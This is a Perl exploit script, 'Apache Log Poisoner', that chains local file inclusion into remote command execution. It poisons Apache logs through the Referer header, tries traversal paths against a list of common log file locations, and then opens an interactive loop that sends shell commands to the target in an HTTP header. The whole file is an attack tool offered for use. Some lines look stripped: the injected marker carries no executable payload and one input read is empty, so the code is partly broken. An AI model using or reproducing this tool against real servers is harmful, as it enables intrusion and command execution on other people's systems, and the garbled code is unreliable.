#!/usr/bin/perl # Apache Log Poisoner 23/07/08 # Local File Inclusion to Remote Command Execution # Coded by __GiReX__ http://girex.altervista.org/ use LWP::UserAgent; if(not defined $ARGV[2] or $ARGV[2] !~ /on|off/) { usage(); exit; } banner(); my ($_page, $var, $null_needed, $target) = @ARGV; my $evil_inject = "~logpos_girex~"; if($_page !~ /^http:\/\//) { $page = "http://" . $_page; } else { $page = $_page; } $null_byte = ($null_needed eq "on") ? "%00" : ""; my @apache_logs = ( "var/log/httpd/access_log", "var/log/httpd/error_log", "apache/logs/error.log", "apache/logs/access.log", "logs/error.log", "logs/access.log", "etc/httpd/logs/access_log", "etc/httpd/logs/access.log", "etc/httpd/logs/error_log", "etc/httpd/logs/error.log", "var/www/logs/access_log", "var/www/logs/access.log", "usr/local/apache/logs/access_log", "usr/local/apache/logs/access.log", "var/log/apache/access_log", "var/log/apache/access.log", "var/log/access_log", "var/www/logs/error_log", "var/www/logs/error.log", "usr/local/apache/logs/error_log", "usr/local/apache/logs/error.log", "var/log/apache/error_log", "var/log/apache/error.log", "var/log/access_log", "var/log/error_log" ); inject_log($page) or die "[-] Unable to request a dummy page\n\n"; print STDOUT "[+] Apache log was injected\n"; my $n_up_dir = count_slashes($page) - 1; if($n_up_dir > 0) { $target = "${page}?${var}="; $target .= "../" x $n_up_dir; } else { $target = "${page}?${var}="; } print STDOUT "[+] Base url: $target\n"; print STDOUT "[+] Attempting to include logs...\n"; my $new_target = include_log($target); if(defined $new_target) { print STDOUT "[+] Log included at: $new_target\n"; remote_cmd($new_target); } else { print STDOUT "[-] Log inclusion failed.\n\n"; exit; } sub inject_log() { my $dummy_page = shift; $dummy_page .= "dummy_page.cc"; my $lwp = new LWP::UserAgent or die(); $lwp->max_redirect(0); $lwp->default_header('Referer' => $evil_inject); $lwp->timeout(10); my $res = $lwp->get($dummy_page); if($res->status_line eq "404 Not Found") { return 1; } return undef; } sub remote_cmd() { my $target = shift; my $lwp = new LWP::UserAgent; $lwp->max_redirect(0); $lwp->timeout(10); while(1) { print STDOUT "\n\n[+] shell-cmd:\$ "; chomp(my $cmd = ); if($cmd ne "exit") { $lwp->default_header('CMD' => $cmd); my $res = $lwp->get($target); if($res->is_success) { my $output = substr($res->content, index($res->content, '~logpos_girex~') + 14); if(defined $output) { print STDOUT "\n", $output; } else { print STDOUT "\n[-] Match string not found.\n\n"; exit; } } else { print STDOUT "\n[-] Generic error occurred.\n\n"; exit; } } else { exit; } } } sub include_log() { my $base_t = shift; my $rv = undef; my $lwp = new LWP::UserAgent; $lwp->max_redirect(0); $lwp->timeout(10); for(my $i = 1; $i < 6; $i++) { foreach $log(@apache_logs) { my $target = $base_t; $target .= "../" x $i ."${log}${null_byte}"; my $res = $lwp->get($target); if($res->is_success) { if($res->content =~ /~logpos_girex~/) { $rv = $target; last; } } } } return $rv; } sub count_slashes() { my $string = shift; my ($slashes, $pos) = (0, 0); $string =~ s/^http:\/\///; while(($pos = index($string, '/')) > -1) { $string = substr($string, $pos + 1); $slashes++; } return $slashes; } sub banner() { print "\n" x 1; print "[+] Apache Log Poisoner\n"; print "[+] Local File Inclusion to Remote Command Execution\n"; print "[+] Coded by __GiReX__ http://girex.altervista.org/\n\n"; } sub usage() { banner(); print "Usage: perl $0 [null_byte:on/off]\n"; print "Example: perl $0 remote_host.com/cms/index.php page on\n\n"; print "The third parameter should be set to on if the final nullbyte is needed\n"; print "else to off\n\n"; print "If you need to pass via GET other vars do like this:\n\n"; print "perl $0 site.com/path/index.php example=true&in_cms=1&root_dir off\n\n"; }